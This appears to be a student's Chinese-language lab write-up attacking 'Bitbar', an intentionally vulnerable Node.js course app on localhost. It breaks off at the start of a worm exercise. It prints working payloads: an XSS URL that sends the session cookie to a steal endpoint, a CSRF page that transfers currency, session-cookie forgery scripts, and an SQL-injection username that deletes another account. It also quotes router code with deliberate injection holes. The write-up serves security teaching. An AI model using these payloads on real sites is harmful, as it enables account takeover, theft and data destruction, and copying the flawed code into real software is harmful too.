实验介绍

项目介绍

在本项目中,您将构建针对网络应用程序的几种攻击(第 1 部分),然后更新应用程序以抵御这些攻击(第 2 部分)。Bitbar 是一款 Node.js 网络应用程序,用户可以通过它管理 Bitbars(一种新型超安全加密货币)。每个用户注册网站时都会获得 100 个 Bitbars。他们可以使用 Web 界面将比特条转让给其他用户,还可以创建和查看其他用户配置文件。

您已获得 Bitbar 应用程序的源代码。真正的攻击者通常无法访问目标网站的源代码,但源代码可能会让查找漏洞变得更容易一些。Bitbar 由一系列 Node 软件包提供支持,包括 Express.js Web 应用程序框架、SQLite 数据库和用于 HTML 模板的 EJS。下一节的资源列表包含有关这些软件包更多信息的链接,以及其他可用作参考的信息。

安装指导

您将在提供的 Docker 容器中运行 Bitbar 应用程序。服务器运行时,网站可通过 http://localhost:3000 访问。

浏览器要求

我们将使用最新版本的 Mozilla Firefox 进行评分,强烈建议您在 Firefox 中测试您的攻击。Chrome 浏览器引入了积极的浏览器端 XSS 防护,如果使用 Chrome 浏览器,可能会使某些攻击变得不可行。其他浏览器可能缺乏 Firefox 所具备的保护功能,导致我们对您的防御进行评分时失败。

重要提示:我们要求您实施的攻击之一是跨站请求伪造,这依赖于跨站请求,包括登录用户的 cookie。Firefox 现在默认使用新的隐私设置来阻止这些跨站cookie。为了成功完成攻击,您需要(至少暂时)关闭此设置。

  1. 在火狐浏览器设置中打开” 隐私与安全” 选项卡;
  2. 将增强跟踪保护更改为自定义;
  3. 在 Cookie 下,选择跨站跟踪 Cookie。此处的任何设置只要不阻止非跟踪跨站Cookie 即可;
  4. 如果您经常使用火狐浏览器,那么在正常浏览时最好恢复设置。

如果您不禁用这些功能,您对第 (B) 部分的攻击很可能不起作用。我们将在禁用这种保护的情况下测试您的防御。

具体设置说明

网络服务器将在 Docker 容器中运行。下面的说明将指导你安装 Docker 和容器。

  1. 在本地计算机上安装(并打开)Docker https://docs.docker.com/get-docker/;
  2. 从 CS155 website下载并解压项目 2 启动代码。
  3. 切换至启动代码根目录,运行 bash build image.sh。这将构建你的 Docker 镜像并安装所有必要的软件包。这可能需要几分钟时间,具体取决于你的网速。
    • 如果你使用的是 Windows 机器,可能需要复制 build image.sh 中的命令并直接运行。
    • 如果你使用的是 Mac,并遇到”command not found: docker”(找不到命令:docker)的错误,你可能需要在路径中添加 docker 命令。你可以在当前终端会话中运行 export PATH=$PATH:/Applications/Docker.app/Contents
      /Resources/bin/ 命令,或者将其添加到 ḃashrc 文件中。
  4. 为启动服务器,请运行 bash start_server.sh。一旦看到 $ ./node_modules/babel-cli/bin/babel-node.js ./bin/www,Bitbar 应用程序就会出现在浏览器中,网址是 http://localhost:3000
    • 为了保持一致性(也为了让您的攻击对评分器有效),请勿使用http://www.localhost:3000。
    • 同样,如果您使用的是 Windows 机器,可能需要在命令行中直接运行start server.sh 命令。

您可以在终端按下 Ctrl+C 关闭服务器。每次关闭服务器时,服务器都会完全重置。要使用干净的数据库重启服务器,只需再次运行 bash start server.sh

Docker 使用技巧

要完成这项作业,您不需要熟悉 Docker。不过,有一些技巧可能会有用:

  • docker ps -a 列出你所有的容器。
  • docker images 列出你的镜像。
  • docker system prune -a 删除机器上未使用的镜像和容器。(如果你想节省空间,可以在完成任务后再删除!)。
  • 构建镜像和启动服务器脚本是简单的单行 Docker 命令,用于构建 Docker 镜像并从该镜像启动一个临时容器。
  • 从本地机器映射到运行中的 Docker 容器的唯一文件是 code/router.js。因此,如果你开始修改其他文件,而修改内容没有显示出来,不用担心。在修改了code/router.js 之后,你可能需要重新启动容器才能使修改生效。如果你决定出于某种原因必须修改其他文件,你必须重建 Docker 镜像,将你的修改复制到镜像中。

实验环境

操作系统:macOS Sonoma 14.4.1
容器工具:docker desktop 4.8.0
浏览器:Mozilla Firefox 124.0.2
下载实验提供的project2源码
重定位到project2根目录下,执行bash build_image.sh
开启服务器bash start_server.sh
可以在 http://localhost:3000 上访问bitbar

参考文献

[1] XMLHttpRequest对象
[2] Cookie Theft and Session Hijacking
[3] HTTP协议学习(一)request 和response 解析
[4] XSS详解(概念+靶场演示)反射型与存储型的比较与详细操作
[5] HTTP Cookie

项目说明

概念说明

HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据。浏览器会存储 cookie 并在下次向同一服务器再发起请求时携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器——如保持用户的登录状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。

Cookie 主要用于以下三个方面:

  • 会话状态管理:如用户登录状态、购物车、游戏分数或其他需要记录的信息
  • 个性化设置:如用户自定义设置、主题和其他设置
  • 浏览器行为跟踪:如跟踪分析用户行为等

备注: 要查看 Cookie 存储(或网页上能够使用其他的存储方式),可以在开发者工具中启用存储查看器(Storage Inspector)功能,并在存储树上选中 Cookie。

JavaScript 通过 Document.cookie 属性可创建新的 Cookie。如果未设置 HttpOnly 标记,则可以从 JavaScript 访问现有的 Cookie。使用 HttpOnly 属性可防止通过 JavaScript 访问 cookie 值。

总之,当存储信息到 Cookie 中时,cookie 的值是可以被访问,且可以被终端用户所修改的。根据应用程序的不同,可能需要使用服务器查找的不透明标识符,或者研究诸如 JSON Web Tokens 之类的替代身份验证/机密机制。当机器处于不安全环境时,不能通过 HTTP Cookie 存储、传输敏感信息。

Cookie 曾一度用于客户端数据的存储,因当时并没有其他合适的存储办法而作为唯一的存储手段,但现在推荐使用现代存储 API。由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用 Web storage API(localStorage 和 sessionStorage)或 IndexedDB 。

项目结构

app.js

这个文件是一个使用Express框架创建的Node.js应用程序的主要入口点。它配置了服务器的各种设置和中间件,定义了路由,并处理了错误。该文件的功能有:

  1. 导入依赖:引入了必要的Node.js模块和其他依赖,如express框架、http-errors用于生成HTTP错误、path用于处理文件路径、cookie-session用于会话管理、logger(morgan)用于日志记录等。

  2. 创建Express应用:通过调用express()函数创建了一个Express应用实例。

  3. 视图引擎设置:配置了EJS作为视图引擎,并设置了视图文件的存放目录。这允许应用渲染.ejs模板文件。

  4. 使用中间件:

  • 使用logger记录请求日志。
  • 使用express.json()和express.urlencoded({ extended: false })解析JSON和URL编码的请求体。
  • 设置静态文件目录,使得public目录下的文件可以直接通过URL访问。
  • 调整跨源资源共享(CORS)策略,允许来自"null"源的请求,并允许携带凭证。
  • 设置cookie会话策略,定义了会话的名称、有效期等属性。
  • 初始化会话,如果req.session.loggedIn未定义,则初始化为false,并设置一个空的account对象。
  1. 路由:使用router中间件来处理定义在./router模块中的路由。

  2. 错误处理:

  • 捕获404错误(即未找到的请求)并转发到错误处理器。
  • 定义了一个错误处理中间件,用于捕获应用中发生的任何错误,设置错误信息,并渲染错误页面。
  1. 导出应用:最后,通过module.exports导出了配置好的Express应用实例,以便可以在其他文件中引入和使用。

总的来说,这个文件是设置和启动Express服务器的核心,包括配置中间件、路由和错误处理等关键部分。

router.js

这是项目的路由文件,定义了应用程序的所有路由和它们的处理逻辑。它处理用户的请求,如页面访问、表单提交等,并根据请求类型(GET或POST)调用相应的逻辑。具体功能将基于代码进行分析。

post方法是Express框架提供的一种方式,用于定义处理HTTP POST请求的路由。HTTP POST请求通常用于提交表单数据或上传文件。

/set_profile 路由:

这个路由处理用户提交的表单,用于更新他们的个人资料。当用户提交表单时,这个路由会接收到POST请求,并执行以下操作:

  1. 从请求体中获取new_profile字段,这是用户输入的新个人资料。
  2. 从数据库连接Promise中获取数据库实例。
  3. 构造一个SQL更新语句,用于更新当前登录用户的个人资料字段。
  4. 执行SQL更新语句。
  5. 重新渲染首页,显示更新后的个人资料。
1
2
3
4
5
6
7
8
9
router.post('/set_profile', asyncMiddleware(async (req, res, next) => {
req.session.account.profile = req.body.new_profile;
console.log(req.body.new_profile);
const db = await dbPromise;
const query = `UPDATE Users SET profile = ? WHERE username = "${req.session.account.username}";`;
const result = await db.run(query, req.body.new_profile);
render(req, res, next, 'index', 'Bitbar Home');

}));
/post_register 路由

这个路由处理用户的注册请求。当用户填写注册表单并提交时,这个路由会接收到POST请求,并执行以下操作:

  1. 从数据库中查询是否已存在同名的用户。
  2. 如果用户已存在,返回注册表单并显示错误消息。
  3. 如果用户不存在,生成一个随机盐值,使用密钥派生函数(KDF)对密码进行哈希处理。
  4. 将新用户的信息(用户名、哈希后的密码、盐值、初始个人资料和bitbars数量)插入到数据库中。
  5. 设置用户为已登录状态,并将用户信息保存到会话中。
  6. 渲染注册成功页面。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
router.post('/post_register', asyncMiddleware(async (req, res, next) => {
const db = await dbPromise;
let query = `SELECT * FROM Users WHERE username == "${req.body.username}";`;
let result = await db.get(query);
if(result) { // query returns results
if(result.username === req.body.username) { // if username exists
render(req, res, next, 'register/form', 'Register', 'This username already exists!');
return;
}
}
const salt = generateRandomness();
const hashedPassword = KDF(req.body.password, salt);
console.log(hashedPassword);
console.log(salt);
query = `INSERT INTO Users(username, hashedPassword, salt, profile, bitbars) VALUES(?, ?, ?, ?, ?)`;
await db.run(query, [req.body.username, hashedPassword, salt, '', 100]);
req.session.loggedIn = true;
req.session.account = {
username: req.body.username,
hashedPassword,
salt,
profile: '',
bitbars: 100,
};
render(req, res, next,'register/success', 'Bitbar Home');
}));
post_transfer路由

处理用户发起的转账操作。这个路由监听/post_transfer路径上的POST请求,用于从一个用户账户向另一个用户账户转移资金。这个路由的处理流程如下:

  1. 检查登录状态:首先检查用户是否已登录。如果用户未登录,将渲染登录表单并显示错误消息。

  2. 防止自我转账:检查目标用户名是否与当前登录用户相同。如果是,将显示错误消息,防止用户向自己转账。

  3. 查询接收者:通过目标用户名在数据库中查询接收者的账户信息。

  4. 转账金额验证:解析并验证转账金额的有效性。如果金额无效(例如,是NaN、超过用户余额或小于1),将显示错误消息。

  5. 更新账户余额:如果接收者存在且金额有效,将从发送者账户扣除相应金额,并为接收者账户加上相同的金额。这涉及到更新数据库中的用户记录。

  6. 渲染结果:根据操作的结果,渲染相应的页面。如果转账成功,将显示成功消息;如果接收者不存在,将显示错误消息。

  7. XSS防护:在显示错误消息之前,对用户输入进行清理,以防止跨站脚本攻击(XSS)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
router.post('/post_transfer', asyncMiddleware(async(req, res, next) => {
if(req.session.loggedIn == false) {
render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!');
return;
};

if(req.body.destination_username === req.session.account.username) {
render(req, res, next, 'transfer/form', 'Transfer Bitbars', 'You cannot send money to yourself!', {receiver:null, amount:null});
return;
}

const db = await dbPromise;
let query = `SELECT * FROM Users WHERE username == "${req.body.destination_username}";`;
const receiver = await db.get(query);
if(receiver) { // if user exists
const amount = parseInt(req.body.quantity);
if(Number.isNaN(amount) || amount > req.session.account.bitbars || amount < 1) {
render(req, res, next, 'transfer/form', 'Transfer Bitbars', 'Invalid transfer amount!', {receiver:null, amount:null});
return;
}

req.session.account.bitbars -= amount;
query = `UPDATE Users SET bitbars = "${req.session.account.bitbars}" WHERE username == "${req.session.account.username}";`;
await db.exec(query);
const receiverNewBal = receiver.bitbars + amount;
query = `UPDATE Users SET bitbars = "${receiverNewBal}" WHERE username == "${receiver.username}";`;
await db.exec(query);
render(req, res, next, 'transfer/success', 'Transfer Complete', false, {receiver, amount});
} else { // user does not exist
let q = req.body.destination_username;
if (q == null) q = '';

let oldQ;
while (q !== oldQ) {
oldQ = q;
q = q.replace(/script|SCRIPT|img|IMG/g, '');
}
render(req, res, next, 'transfer/form', 'Transfer Bitbars', `User ${q} does not exist!`, {receiver:null, amount:null});
}
}));

在post路由中,asyncMiddleware是一个自定义中间件,用于处理异步操作中的错误。这样,如果在异步操作中发生错误,它会被捕获并通过Express的错误处理机制进行处理,而不会导致服务器崩溃。

get方法是Express框架提供的一种方式,用于定义处理HTTP GET请求的路由。HTTP GET请求通常用于请求数据,如页面、图片或特定资源的信息。在这个路由文件中,get方法被用于多个不同的路由,每个路由处理不同的路径和逻辑。

根路径 / 路由

当用户访问网站的根路径时,这个路由会被触发,渲染并返回首页。

1
2
3
router.get('/', (req, res, next) => {
render(req, res, next, 'index', 'Bitbar Home');
});
/login 路由

这个路由处理用户访问登录表单的请求,渲染并返回登录表单页面。

1
2
3
router.get('/login', (req, res, next) => {
render(req, res, next, 'login/form', 'Login');
});
/get_login 路由

这个路由处理用户的登录尝试。它从数据库中查询用户信息,验证密码,然后根据验证结果决定是否登录用户。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.get('/get_login', asyncMiddleware(async (req, res, next) => {
const db = await dbPromise;
const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`;
const result = await db.get(query);
if(result) { // if this username actually exists
if(checkPassword(req.query.password, result)) { // if password is valid
await sleep(2000);
req.session.loggedIn = true;
req.session.account = result;
render(req, res, next, 'login/success', 'Bitbar Home');
return;
}
}
render(req, res, next, 'login/form', 'Login', 'This username and password combination does not exist!');
}));
/register 路由

当用户想要注册新账户时,这个路由会被触发,渲染并返回注册表单页面。

1
2
3
router.get('/register', (req, res, next) => {
render(req, res, next, 'register/form', 'Register');
});
/close 路由

这个路由允许已登录的用户删除他们的账户。

1
2
3
4
5
6
7
8
9
10
11
12
router.get('/close', asyncMiddleware(async (req, res, next) => {
if(req.session.loggedIn == false) {
render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!');
return;
};
const db = await dbPromise;
const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";`;
await db.get(query);
req.session.loggedIn = false;
req.session.account = {};
render(req, res, next, 'index', 'Bitbar Home', 'Deleted account successfully!');
}));
/logout 路由

这个路由处理用户的登出操作,清除用户的会话信息,并返回首页。

1
2
3
4
5
router.get('/logout', (req, res, next) => {
req.session.loggedIn = false;
req.session.account = {};
render(req, res, next, 'index', 'Bitbar Home', 'Logged out successfully!');
});
/profile 路由

这个路由允许用户查看自己的个人资料或通过用户名查询其他用户的个人资料。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.get('/profile', asyncMiddleware(async (req, res, next) => {
if(req.session.loggedIn == false) {
render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!');
return;
};

if(req.query.username != null) { // if visitor makes a search query
const db = await dbPromise;
const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`;
let result;
try {
result = await db.get(query);
} catch(err) {
result = false;
}
if(result) { // if user exists
render(req, res, next, 'profile/view', 'View Profile', false, result);
}
else { // user does not exist
render(req, res, next, 'profile/view', 'View Profile', `${req.query.username} does not exist!`, req.session.account);
}
} else { // visitor did not make query, show them their own profile
render(req, res, next, 'profile/view', 'View Profile', false, req.session.account);
}
}));
/transfer 路由

这个路由为已登录的用户提供了一个表单,用于向其他用户转账。

1
2
3
4
5
6
7
router.get('/transfer', (req, res, next) => {
if(req.session.loggedIn == false) {
render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!');
return;
};
render(req, res, next, 'transfer/form', 'Transfer Bitbars', false, {receiver:null, amount:null});
});

这两个路由用于演示或测试目的,用于记录从请求中获取的cookie或密码信息。

1
2
3
4
5
6
7
8
9
10
11
12
router.get('/steal_cookie', (req, res, next) => {
let stolenCookie = req.query.cookie;
console.log('\n\n' + stolenCookie + '\n\n');
render(req, res, next, 'theft/view_stolen_cookie', 'Cookie Stolen!', false, stolenCookie);
});

router.get('/steal_password', (req, res, next) => {
let password = req.query.password;
let timeElapsed = req.query.timeElapsed;
console.log(`\n\nPassword: ${req.query.password}, time elapsed: ${req.query.timeElapsed}\n\n`);
res.end();
});

其他文件

view/pages

该文件夹中的文件用于页面渲染。

db/migrate/002-add-initial-users.sql

用于存储用户信息,可以在注释中查看密码。

第一部分:攻击方法

在项目的第一部分,您将开发一系列针对 Bitbar 应用程序的攻击。在每个练习中,我们都会描述您需要向评分器提供哪些输入,以及评分器将使用您的输入采取哪些具体操作。评分员应获得每个练习中描述的结果,您才能获得学分。您的所有攻击都应假定可以通过 URL http://localhost:3000 访问网站。

请注意,我们在 code/db/migrate/002-add-initial-users.sql 中提供了一些初始账户。例如,其中一个账户的用户名为“user1”,密码为“one”。欢迎创建其他账户,但这些账户在每个漏洞的“交付与评分” 部分中都有提及,评分员将使用这些账户运行漏洞。不得使用任何外部库,也不得编辑网络应用程序本身。这尤其意味着您不能使用 jQuery。您可以使用在线资源,但请在您提交的 README.txt 中引用这些资源。

漏洞利用Alpha:Cookie窃取

攻击要求

在第一次攻击中,您的目标是窃取登录用户的 Bitbar 会话 cookie,并将其发送到攻击者控制的 URL。您需要创建以 http://localhost:3000/profile?username= 开头的 URL,在访问时将窃取的 cookie 发送到 http://localhost:3000/steal_cookie?cookie=[此处窃取的 cookie]。攻击成功后,服务器会将窃取的 cookie 记录到终端输出中。

重要提示: 用户不应明显察觉到攻击。这意味着网站的外观不应有任何变化,无关的文本也不可见。除了浏览器位置栏(可以是不同的),评分者在访问其个人资料时看到的页面应该是正常的。避免出现“未找到用户” 的蓝色警告文字是攻击的一个重要部分。如果显示的Bitbars数量或个人资料的内容不正确(只要看起来“正常”),也没有关系。如果页面在自我纠正之前短暂看起来很奇怪也没关系。

交付和评分: 您需要提交一个名为 a.txt 的文件,其中只包含您的恶意 URL。评分者将user1的身份登录Bitbar,并进入profile。在这里,评分员将在地址栏上复制您的URL并进行导航。您可以通过在终端输出中查找被盗cookie来验证解决方案是否有效。

提示: 尝试在 URL 结尾添加随机文本。这会如何改变页面的 HTML?

实验原理

XSS

XSS,跨站脚本(Cross Site Scripting) ,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS。攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码,导致管理员/用户访问时触发,从而达到攻击者的目的。简单来说就是,服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的。

实验过程

Cookie形式探究

为了进行Cookie窃取,可以通过抓包了解Cookie在bitbar中的具体表现形式。登录user1并抓包:
attack1_1

可以看到:

  1. 处理登录的 URL 是 /get_login,表单提交方式是 GET,传入参数是 username=user1 和 password=one;
  2. Refer 字段表示请求访问的来源是 http://localhost:3000/login ,意思是由 /login 页面提交表单并交付/get_login处理;
  3. Cookie 字段表示页面的 Cookie 信息,只有一个 session 值,这是要窃取的 Cookie。对 session 的值进行 base64 解码,得到{“𝑙𝑜𝑔𝑔𝑒𝑑𝐼𝑛” ∶ 𝑓𝑎𝑙𝑠𝑒, “𝑎𝑐𝑐𝑜𝑢𝑛𝑡” ∶{}} ,与 /get_login 的处理结果相同。
XSS攻击测试

打开开始网址:http://localhost:3000/profile?username=
原本功能应该是输入文件名查看文件,测试user1,可见是get方法发送request。
attack1_2

测试发现存在XSS漏洞,可以直接执行js代码。

测试方法:

1
<script>alert(/xss/)</script>

输入<script>alert(/xss/)</script>,然后出现弹窗,发现在url中代码直接就显示出来了,说明没有过滤、html编码等,存在xss漏洞。
attack1_3

窃取cookie

题目说明user1已经登录bitbar,打开目标网页,故会话cookie此时已经存在user1的浏览器,直接使用document.cookie属性就可以获取字符串格式的cookie.
attack1_cookie

题目说明获取cookie后发送到
http://localhost:3000/steal_cookie?cookie=[cookie_data_here]
这里也是get方法,?后为参数,字符串形式。

因此,恶意代码的构造思路为:

  1. 获取user1的cookie;
  2. 将 cookie 参数传递给 /steal_cookie
1
2
3
4
<script>
var ck=document.cookie;
window.location.replace(`/steal_cookie?cookie=${ck}`);
</script>

将这段代码注入到文件搜索框,在终端即可查看窃取的cookie:
attack1_4

网址运行效果:
attack1_5

a.txt:

1
http://localhost:3000/profile?username=%3Cscript%3Evar+ck%3Ddocument.cookie%3Bwindow.location.replace%28%60%2Fsteal_cookie%3Fcookie%3D%24%7Bck%7D%60%29%3B%3C%2Fscript%3E

如果在URL末尾添加随机文本,窃取的cookie末尾也会显示该随机文本:
attack1_6

漏洞利用Bravo:跨站请求伪造

实验任务说明

在第二次攻击中,您将构建跨站请求伪造(CSRF)攻击,从其他用户处窃取Bitbar。您将专门创建一个恶意网站,当受害者访问该网站时,网站会从其账户中窃取 10 个比特条并存入您的攻击者账户。
您提交的攻击是一个独立的 HTML 页面 (b.html),可将 10 个 Bitbars 从评分者的登录账户转移到攻击者的用户账户。转账完成后,您的攻击网站应立即将用户重定向到https://cs155.stanford.edu/ 。这个过程应该足够快,正常用户不会注意到。
重要提示: 浏览器的位置栏在任何时候都不应包含localhost:3000,因为这可能会让受害者察觉到攻击。
交付和评分: 您需要提交一个包含漏洞的独立 HTML 文件 b.html。评分者将先登录 Bitbar,然后在网络浏览器上加载 b.html。评分员将检查:(1) 是否有10个 Bitbar 从其账户转到攻击者账户;(2) 攻击者网站是否立即重定向到 CS155 网站;(3) 网页浏览器是否从未直接访问过 localhost:3000。

实验原理

CSRF

CSRF(Cross-Site Request Forgery),即跨站请求伪造,也被称为“one-click attack”或“session riding”,是一种网络攻击方式。攻击者通过诱导用户在不知情的情况下,利用用户已经认证的身份,在用户不知情的情况下执行非预期的操作,比如在网站上发起恶意请求。
这种攻击的关键在于,攻击者构造的请求是从用户已经登录的、并且信任的网站上发出的。由于 Web 应用通常会信任已经认证的用户发出的请求,因此攻击者可以利用这一点来执行未经授权的操作,如修改用户设置、转账、发布内容等。

实验过程

转账表单探究

可以在views/pages/transfer/form.ejs中查看表单转发形式,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<h3>Transfer Bitbars</h3>

<form class="pure-form pure-form-stacked" action="post_transfer" method="post">
<% if(errorMsg) { %>
<p class='error'> <%- errorMsg %> </p>
<% } %>

<p>
You currently have <%= account.bitbars %> bitbars.
</p>

<label for="destination_username">Transfer to</label>
<input type="text" name="destination_username" value="<%= result.receiver %>">

<label for="quantity">Amount</label>
<input type="text" name="quantity" value="<%= result.amount %>"/>

<p><input type="submit" class="pure-button button-primary" value="Transfer" /></p>
</form>

可以看到method为POST,表单有两个表项“destination_uesrname”和“quantity”,所以攻击者的表单也需要向服务器发送相同的表项。通过wireshark抓包也可以查看表单结构:
正常转发表单:
attack2_1

抓包查看表单信息:
attack2_2

伪造请求

当用户点击网页时,网页加载过程中会执行 transfer 表单的提交,然后立刻跳转至 cs155.stanford.edu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8'>
<script>
var hit=false;
function load(){
document.getElementById('csrf').submit();
hit=true;
}
function redirect(){
if(hit){
window.location.replace("https://cs155.stanford.edu");
}
}
</script>
</head>
<body onload="load()">
<form id="csrf" method="POST" target="iframe" action="http://localhost:3000/post_transfer">
<input name="destination_username" type="hidden" value="attacker">
<input name="quantity" type="hidden" value="10">
</form>
<iframe style="display:none;" name="iframe" onload="redirect()"></iframe> </body>
</html>

代码有两个部分:

  1. JavaScript脚本:
  • 定义了一个变量 hit,初始值为 false。这个变量用来标记表单是否已经提交。
  • load() 函数:当页面加载完成时,这个函数会被调用( <body onload="load()">)。它执行两个操作:
  • 自动提交名为 csrf 的表单。
  • 将 hit 变量的值设置为 true,表示表单已提交。
  • redirect() 函数:这个函数会在 iframe 加载完成后调用(<iframe onload="redirect()">)。如果 hit 为 true(即表单已提交),则页面会重定向到 “https://cs155.stanford.edu”。
  1. 表单和iframe:
  • <form> 标签定义了一个表单,其 id 为 csrf,方法为 POST,目标为 iframe,动作为提交到 “http://localhost:3000/post_transfer”。表单包含两个隐藏的输入字段:destination_username 和 quantity,分别设置为 “attacker” 和 “10”。
  • <iframe> 标签定义了一个不可见的iframe(通过 style=“display:none;”),用作表单提交的目标。当表单提交到这个iframe时,不会导致页面的可见部分发生变化,但会触发 onload 事件,从而调用 redirect() 函数。

运行过程如下:
窃取前的user1:
attack2_3

运行b.html后,跳转到cs155页面,并且也不会显示localhost:3000:
attack2_4

查看user1的bitbar数量:
attack2_5

窃取成功。

实验任务说明

在第三次攻击中,您需要通过劫持受害者的会话cookie来欺骗 Bitbar 应用程序,使其认为您是以不同的用户身份登录的。在攻击开始时,您将以攻击者身份登录,您需要让 Bitbar 相信您是 user1 而不是 attacker,这样您就可以将 attacker 的 Bitbar 转移到您的攻击中。
您的解决方案将是一个 Javscript 文件(c.txt),可以复制/粘贴到浏览器的 Javscript 控制台。在控制台中执行 Javscript 后,Bitbar 应显示用户 1 已登录,而不是攻击者账户,而且您应能在 Web UI 中将 10 个 Bitbar 从用户 1 转移到攻击者。用户 attacker 的密码是 evil。用户 1 的 ID 是 one。
交付和评分: 您必须提交一个 c.txt 文件,其中包含要在 Javascript 控制台中执行的JavaScript。您可以假设评分员将运行您的攻击,同时数据库中的原始用户 user1 具有 200 Bitbars。运行 JavaScript 并刷新页面后,应用程序必须以 user1 的身份登录,并且必须允许评分员将 Bitbars 转入攻击者账户。
提示: 网站如何存储会话?

实验原理

会话劫持

会话劫持(Session hijacking)是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户。Session ID一般都存储在cookie中。

步骤:

  1. 目标用户需要先登录站点
  2. 登录成功后,该用户会得到站点提供的一个会话标识SessionID
  3. 攻击者通过某种攻击手段捕获Session ID
  4. 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话
    attack3_原理1

获取cookie:

  • 了解cookie接口:找到Session ID位置进行破解
  • 暴力破解:尝试各种Session ID,直到破解为止
  • 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来
  • 窃取:XSS攻击、使用网络嗅探(中间人攻击)等方法获得

XSS攻击劫持cookie:
attack3_原理2

实验步骤

  1. 登陆attacker,获取cookie
  2. 用base64解码cookie
  3. 将解码的表单中的用户修改为user1,bitbar数量改为user1的bitbar数量
  4. 将修改后的表单进行base64编码,伪造user1的cookie
    attack3_1

整理成js文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
const fakeInfo = {
"loggedIn" : true,
"account": {
"username" : "user1",
"hashedPassword" : "8146ff33e815e1a08eae2b473bf2cca159582e434c52524c3325f06e8c2b80d9",
"salt": "1337",
"profile":"",
"bitbars": 100
}
}
const fakeInfoBase64 = btoa(JSON.stringify(fakeInfo))
const fakeCookie = 'session='+ fakeInfoBase64;
document.cookie = fakeCookie;

输入到命令行:
attack3_2

运行后点击Transfer,可以看到用户为user1,并且可以将bitbar转给攻击者:
attack3_3

漏洞利用Delta :使用 Cookies 篡改书签

实验任务说明

在这次攻击中,你需要伪造 100 万个新的 Bitbar,而不是从其他用户那里窃取。具体来说,您需要开发一个 Javascript 利用程序,在完成任何小额交易(例如向用户 1 发送 1 Bitbar)后,您的账户余额会升至 100 万 Bitbar。
创建一个新用户,开始这次攻击。与“Charlie攻击”类似,您的解决方案也是Javscript代码(d.txt),可以在登录新账户后复制并粘贴到浏览器的 JavaScript 控制台中。将代码粘贴到控制台后,进行一笔小额交易即可将账户余额提升到 100 万比特。
重要提示: 新余额必须在不同会话之间持续存在。注销并重新登录账户后,余额应为 100 万比特币。这样做的目的是在不影响其他用户的情况下凭空伪造 100 万比特币。对于无辜的接收者来说,这笔交易应该是完全有效的。
交付和评分: 您将提交一个文本文件 d.txt,其中包含您的漏洞利用代码。评分者将创建一个新账户,将代码粘贴到浏览器控制台,向另一个用户发送 1 个比特条,并验证新账户是否包含 100 万个比特条。

实验步骤

由于router在转账时,通过更新req.session.account.bitbars实现用户在数据库中bitbar的数量更新,因此,使用 JavaScript 恶意脚本修改 Cookie 即可。

1
2
3
4
5
6
7
function Cooking_Books(){ 
var sessionObj = JSON.parse(atob(document.cookie.split("=")[1]));
const NUM = 1000000;
sessionObj.account.bitbars = NUM + 1;
var sesh_string = btoa(JSON.stringify(sessionObj));
document.cookie = "session=" + sesh_string;
}

运行后向attacker转一个bitbar:
attack4_1

运行后可以发现user1有1000000个bitbar:
attack4_2

漏洞利用Echo :SQL 注入

实验任务说明

在此攻击中,您需要开发一个恶意用户名,该用户名可针对为 Bitbar 应用程序提供支持的后台数据库执行恶意 SQL。评分员将使用您提供的用户名创建一个新的用户账户,点击close,然后确认要删除当前账户。这样,user3 就会从数据库中删除。新用户账户也应删除,以便不留下攻击痕迹。所有其他账户都应保留。
您可以假设数据库中除您创建的用户名之外的所有其他用户名都是“非恶意”的。更具体地说,您可以假设它们不包含空格。
交付和评分: 包含恶意用户名的文本文件 e.txt。评分员将关闭该账户,然后验证恶意账户和 user3 是否已从数据库中删除。
提示: 如果在处理问题时弄乱了用户数据库,只需杀死 (ctrl-C) Docker 容器并重启服务器即可重置数据库。

实验原理

如果要在删除当前用户的同时也删除user3,需要使当前用户名为一个隐藏的SQL语句,在router的/close中,这个语句将插入到 DELETE FROM Users WHERE username == ”${req.session.account.username}”; 去删除当前用户和user3。因此需要先有一个",对应第一个",然后加上 𝑂𝑅 𝑢𝑠𝑒𝑟𝑛𝑎𝑚𝑒 𝐿𝐼𝐾𝐸 “𝑢𝑠𝑒𝑟3”;,这样当前一个表达式判断为假时就会user3删除,此外,可以加上#注释掉后续的所有条件,从而保证仅执行恶意操作。

实验步骤

创建如下用户:

1
" OR username LIKE "user3";#

attack5_1

删除后可以发现user3也一起被删除:
attack5_2

漏洞利用Foxtrot:简介蠕虫

实验任务说明

